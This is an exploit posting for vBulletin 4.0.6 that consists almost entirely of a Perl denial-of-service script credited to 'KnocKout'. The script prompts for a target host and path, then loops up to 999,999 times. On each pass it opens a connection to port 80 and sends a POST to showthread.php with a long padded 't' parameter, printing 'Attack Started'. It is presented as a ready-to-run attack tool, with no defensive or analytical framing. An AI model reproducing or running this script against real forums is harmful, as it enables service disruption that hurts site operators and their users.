vBulletin 4.0.6 - Danial Of Service Exploit (redhat)

                                                ################################################
Author : KnocKout
Thanks : DaiMon,BARCOD3
Contact : [email protected]
Tested on : redhat
##############################################
##################vBulletin 4.0.6 - Danial Of Service Exploit for RedHat###############

#!/usr/bin/perl

use IO::Socket;

print "\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n";
print "+       vBulletin 4.0.6  D.O.S Exploit(FOR redhat)       +\n";
print "+               Coded by KnocKout                +\n";
print "+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n";
print "Host |without http://www.| ";
chomp($host = <STDIN>);
print "Path |example. /en or / | ";
chomp($pth = <STDIN>);
	{
	while($x != 999999)
		{
		$postit = "?t=0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
		$lrg = length $postit;
		my $sock = new IO::Socket::INET (
									PeerAddr => "$host",
									PeerPort => "80",
									Proto => "tcp",
									);
		die "\nOffline! - We can not Connect To '$host' it May be DoSed\n" unless $sock;
	
		print $sock "POST $pth/showthread.php HTTP/1.1\n";
		print $sock "Host: $host\n";
		print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
		print $sock "Referer: $host\n";
		print $sock "Accept-Language: en-us\n";
		print $sock "Content-Type: application/x-www-form-urlencoded\n";
		print $sock "Accept-Encoding: gzip, deflate\n";
		print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
		print $sock "Connection: Keep-Alive\n";
		print $sock "Cache-Control: no-cache\n";
		print $sock "Content-Length: $lrg\n\n";
		print $sock "$postit\n";
		close($sock);
		syswrite STDOUT, "Attack Started ";
		$x++;
		}
	}